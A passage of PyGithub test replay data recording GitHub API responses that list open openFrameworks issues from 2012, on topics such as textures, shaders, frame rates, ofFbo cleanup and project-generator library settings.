rel="last", ; rel="first", ; rel="prev"'), ('etag', '"a63cf45ee23c003caf863065072ec4bb"'), ('date', 'Tue, 29 May 2012 19:27:23 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-02-29T11:13:10Z","body":"check out - http://www.openframeworks.cc/forum/viewtopic.php?p=19169#p19169\r\npossible integration into core. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":140,"html_url":"https://github.com/openframeworks/openFrameworks/issues/140","assignee":null,"title":"texture compression and mipmaps for of texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-04-02T19:43:00Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":163959,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T16:15:52Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=10&t=3319","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/128","comments":4,"milestone":null,"number":128,"html_url":"https://github.com/openframeworks/openFrameworks/issues/128","assignee":null,"title":"ofxTCPServer doesn't manage connected clients correcly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-02-14T09:40:13Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":132671,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:31:57Z","body":"Something that easily converts vector direction to openGL degrees?\r\nI find myself constantly trying to guess 270 - atan2(y, x)*RAD_TO_DEG ..... etc\r\nTo rotate something along a vector. \r\n\r\nMight be good to have it be aware of the GL world orientation - or have it so you pass in the up \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":126,"html_url":"https://github.com/openframeworks/openFrameworks/issues/126","assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"title":"ofATan2GL / ofVecToGL ?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-02-13T14:22:51Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132377,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-22T15:51:57Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=3299&p=17852#p17852","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","number":6,"title":"0073 Release","closed_issues":0,"due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":124,"html_url":"https://github.com/openframeworks/openFrameworks/issues/124","assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"title":"TTF type rendering in OF - fix fuzziness ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-02-13T14:15:25Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132373,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:30:14Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=1374","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/121","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":121,"html_url":"https://github.com/openframeworks/openFrameworks/issues/121","assignee":null,"title":"video: loop is not working unless you call play first","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-02-10T23:16:23Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":130269,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:30:49Z","body":"it would make sense to have an opengl stress test app, that can test some basic about wether or not someone has ARB support, how fast their systems are, etc. I can imagine that for 0.07, we'll be helping people debug shaders and FBOs, having some way to gauge what kind of system they are on and what it can take, will be helpful. \r\n\r\nHere's a simple test app from the Lua-AV folks that looks like a reasonable system: \r\n\r\nhttp://img191.imageshack.us/img191/1659/picture3po.png","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/115","comments":0,"milestone":null,"number":115,"html_url":"https://github.com/openframeworks/openFrameworks/issues/115","assignee":null,"title":"opengl stress test example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-01-12T02:56:21Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":111018,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-28T14:02:04Z","body":"at the moment, we've got it like:\r\n\r\nofAppGlutWindow::ofAppGlutWindow(){\r\n\tfps\t\t\t\t= 60.0; //give a realistic starting value - win32 issues\r\n\tbFrameRateSet\t\t= false;\r\n}\r\n\r\nbut I personally prefer all apps to start with some kind of similar frame rate (ie, examples running really fast on mac, etc). see for example: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=16520&#p16520\r\n\r\nthis kind of thing leads to less \"cross-platform-ness\" and more confusion from beginners, no? \r\n\r\n- z\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/107","comments":8,"milestone":null,"number":107,"html_url":"https://github.com/openframeworks/openFrameworks/issues/107","assignee":null,"title":"should we start all OF apps with a frame rate set?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2009-12-31T15:10:45Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":104702,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-27T15:47:45Z","body":"videoGrabber and serial listDevices should return a vector of strings apart from printing to console","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/91","comments":4,"milestone":null,"number":91,"html_url":"https://github.com/openframeworks/openFrameworks/issues/91","assignee":null,"title":"listDevices should return a list of strings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2009-12-09T17:11:40Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":94898,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PaginatedList.testSliceIndexingInFirstPage.txt0000644000175100001660000014703514756101563027201 0ustar00runnerdockerhttps GET api.github.com None /repos/openframeworks/openFrameworks/issues {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4927'), ('content-length', '52085'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"5e8867ffb4e7630e852b2b231f3b9cdb"'), ('date', 'Tue, 29 May 2012 19:36:57 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-27T18:11:17Z","body":"Since more and more of the OF Core now relies on Poco (ie ofThread, etc) does OF_USING_POCO make sense anymore?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1280","comments":0,"milestone":null,"number":1280,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1280","assignee":null,"title":"deprecate OF_USING_POCO?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-27T18:03:23Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danomatika","id":480637},"id":4772349,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-28T08:08:24Z","body":"There occurs a weir glitch when compiling the ofShader example with my HD Graphics 3000 (288 Mb) (Mac osx 10.7.4 - Mac Mini - i5 - 2.3Ghz)\n\nI was able to get rid of the glitch by replacing \"gl_FragColor = gl_Color;\" with \"gl_FragColor = 255.0;\" or any other number.\nAnybody knows a reason for the glitch / proper solution?\n\nScreenshot: http://goo.gl/Xdf74\nOpenGL capacities on different graphic cards on apple machines: http://goo.gl/FGQ2N","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279","comments":2,"milestone":null,"number":1279,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1279","assignee":null,"title":"ofShader example with HD Graphics 3000 issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-26T19:27:56Z","state":"open","user":{"url":"https://api.github.com/users/subtiv","gravatar_id":"837cfe96365c031130a46311eb11d86a","avatar_url":"https://secure.gravatar.com/avatar/837cfe96365c031130a46311eb11d86a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"subtiv","id":1012684},"id":4767675,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-25T18:39:02Z","body":"produces an error on app exit or tex destruction.\n\n OF: OF_LOG_ERROR: trying to delete a non indexed texture, something weird is happening. Deleting anyway\n\nThis is because retain(int id) is a static function in ofTexture.cpp. So we can't retain the depthStencilTexture.\n\nThis suggest we should move the texture allocation of the depth / stencil texture to ofTexture - something which is not possible at the moment. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1277","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1277,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1277","assignee":null,"title":"ofFbo can't retain depthStencil Texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-25T18:37:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4758608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T21:26:57Z","body":"\nthe offending line is: \n\nif( speed.getValue() != preSpeed ){\n\nwhich is evaluating as true even through the slider is not touched (float equality test, etc). \n\nif we alter it to something like: \n\nif( fabs(speed.getValue() - preSpeed) > 0.0001 ){\n\nthe code runs fine. probably nicer to add a \"value changed()\" functionality to the slider object though or use EPSILON, etc. \n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1271","comments":0,"milestone":null,"number":1271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1271","assignee":null,"title":"periodic signal example doesn't run well on windows / cb (float equality error)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-05-22T21:26:57Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4700182,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T16:41:21Z","body":"There's some error that appears on linux systems running the project generator to make VS examples, where the debug and release libs for opencv get added badly to the vs project: \n\n\t%(AdditionalDependencies);opencv_highgui231d.lib;opencv_calib3d231.lib;opencv_imgproc231d.lib;opencv_haartraining_engined.lib;opencv_gpu231d.lib;opencv_flann231.lib;opencv_contrib231d.lib;opencv_video231d.lib;opencv_objdetect231d.lib;zlib.lib;opencv_core231d.lib;opencv_contrib231.lib;opencv_ml231d.lib;opencv_features2d231.lib;opencv_core231.lib;opencv_gpu231.lib;opencv_legacy231d.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_ml231.lib;opencv_imgproc231.lib;opencv_objdetect231.lib;opencv_legacy231.lib;opencv_video231.lib\n\t\t\t\t%(AdditionalLibraryDirectories);..\\..\\..\\addons\\ofxOpenCv\\libs\\opencv\\lib\\vs2010\n\nthis doesn't seem to be the case on osx or windows, which produces correct results: \n\n\t%(AdditionalDependencies);opencv_calib3d231.lib;opencv_contrib231.lib;opencv_core231.lib;opencv_features2d231.lib;opencv_flann231.lib;opencv_gpu231.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_imgproc231.lib;opencv_legacy231.lib;opencv_ml231.lib;opencv_objdetect231.lib;opencv_video231.lib;zlib.lib\n\nwould be good to look at the logic of \"visualStudioProject::addAddon()\" and see if we can fix this.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1268","comments":9,"milestone":null,"number":1268,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1268","assignee":null,"title":"project generator - bad libs for VS / opencv examples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-05-20T21:50:24Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4662873,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T00:43:37Z","body":"I woud love some eyes on ofFbo would be great to get it cleaned up and standardized for 0072. \nRight now there are a ton of #ifdefs and some very hard to follow logic, which makes bug fixing quite difficult especially on OPENGL_ES\n\nsee: https://gist.github.com/2711815\n\n@elliotwoods @arturoc @memotv @damiannz @ofZach @kylemcdonald \n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1263","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1263,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1263","assignee":null,"title":"ofFbo.cpp is a huge mess! ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-16T16:27:30Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4608132,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T14:29:02Z","body":"I added a .mailmap file to the repo to correctly collate all the contributors in spite of changing nick names/email addresses. This is useful when trying to identify contributors for a changelog or similar, or when using the git logging functions like shortlog.\n\nSee the before/after situation here: https://gist.github.com/2710366\n\nI have respected privacy and only used those real names that people have already given in a git ID in the repo. Mainly this addition only associates the different email addresses to one user. @arturoc wins the prize of most used emails! :-)\nThe list is pretty complete, I only had difficulties to associate some IDs to the correct Zachs, since it was not clear for some if @ofZach or @stfj (Zach Gage) was the contributor. Those were left as-is.\n\nIf anybody has objections to their various email being united under their name, please say so and I will correct/remove the relevant entries.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1262","comments":2,"milestone":null,"number":1262,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1262","assignee":null,"title":"Add .mailmap for contributor collation","labels":[],"closed_at":null,"created_at":"2012-05-16T13:44:32Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":4604661,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1262.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1262","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1262.patch"}},{"updated_at":"2012-05-16T09:35:31Z","body":"Address #375.\n\nAdd setVolumef(float). Also more clearly define volume ranges (int is 0..255, float is 0..1) and more robust clamping of volume argument.\n\nThis has not been tested on Linux or Windows.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1260","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1260,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1260","assignee":null,"title":"allow float volume on ofVideoPlayer","labels":[],"closed_at":null,"created_at":"2012-05-15T17:50:22Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4588997,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1260.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1260","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1260.patch"}},{"updated_at":"2012-05-21T07:31:47Z","body":"This was originally posted @\"biginners\".\n\nhttp://forum.openframeworks.cc/index.php/topic,9527.msg44049.html#msg44049\n\nJoshua noble suggested me to file it as a bug on jithub\n\n\n/////////////////original messages\n\nHello.\n\nI have question about ofShortPixels and ofShortColor.\n\nIf you execute the code below , it'll draw at half way screen height even though I did set aDot at (0. screen height / 4)\n\nAnd another weird thing is it draws 20 pixels instead of 10 pixels which I set for loop for 10 times.\n\nIt only draws correctly with ofPixels and ofColor.\n\nIt doesn't work with ofFloatPixels and ofFloatColor.\n\nPlease help me out.\n\nI need to have RGB value over 255 so I can check if those values are over 255.\n\nThanks in advanced\n\nJin\n\n\n.h file\nCode:\nview plaincopy to clipboardprint?\n\n #pragma once \n #include \"ofMain.h\" \n \n class Dot { \n public: \n ofVec2f location; \n \n Dot(){ \n location.set(0,0); \n } \n \n ~Dot(){} \n }; \n \n class testApp : public ofBaseApp{ \n public: \n void setup(); \n void update(); \n void draw(); \n \n int w,h; \n \n ofTexture particleTexture; \n ofShortPixels * rgbPixels; \n \n ofShortColor& paint(ofShortColor &); \n \n Dot aDot; \n \n \n }; \n\n\n.cpp file\nCode:\nview plaincopy to clipboardprint?\n\n #include \"testApp.h\" \n //-------------------------------------------------------------- \n void testApp::setup(){ \n ofSetFrameRate(30); \n ofSetBackgroundAuto(TRUE); \n ofBackground(0, 0, 0); \n w = ofGetWidth(); \n h = ofGetHeight(); \n \n particleTexture.allocate(w,h,GL_RGB); \n rgbPixels = new ofShortPixels; \n rgbPixels->allocate(w, h, 3); \n aDot.location.set(0, h/4); \n } \n \n //-------------------------------------------------------------- \n void testApp::update(){ \n ofShortColor pixelColor; \n ofShortColor newPixelColor; \n for(int i = 0; i<10; i++){ \n pixelColor = rgbPixels->getColor(aDot.location.x+i, aDot.location.y); \n \n newPixelColor = paint(pixelColor); \n \n rgbPixels->setColor(aDot.location.x+i, aDot.location.y,newPixelColor); \n \n } \n particleTexture.loadData(* rgbPixels); \n } \n \n //-------------------------------------------------------------- \n void testApp::draw(){ \n particleTexture.draw(0, 0, w, h); \n } \n \n ofShortColor & testApp::paint(ofShortColor & _c){ \n \n _c.r += 10; \n _c.g += 2; \n _c.b += 3; \n \n _c.set(_c.r, _c.g, _c.b); \n _c.clamp(); \n \n return _c; \n } ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1257","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1257,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1257","assignee":null,"title":"ofShortPixels doesn't draw pixels 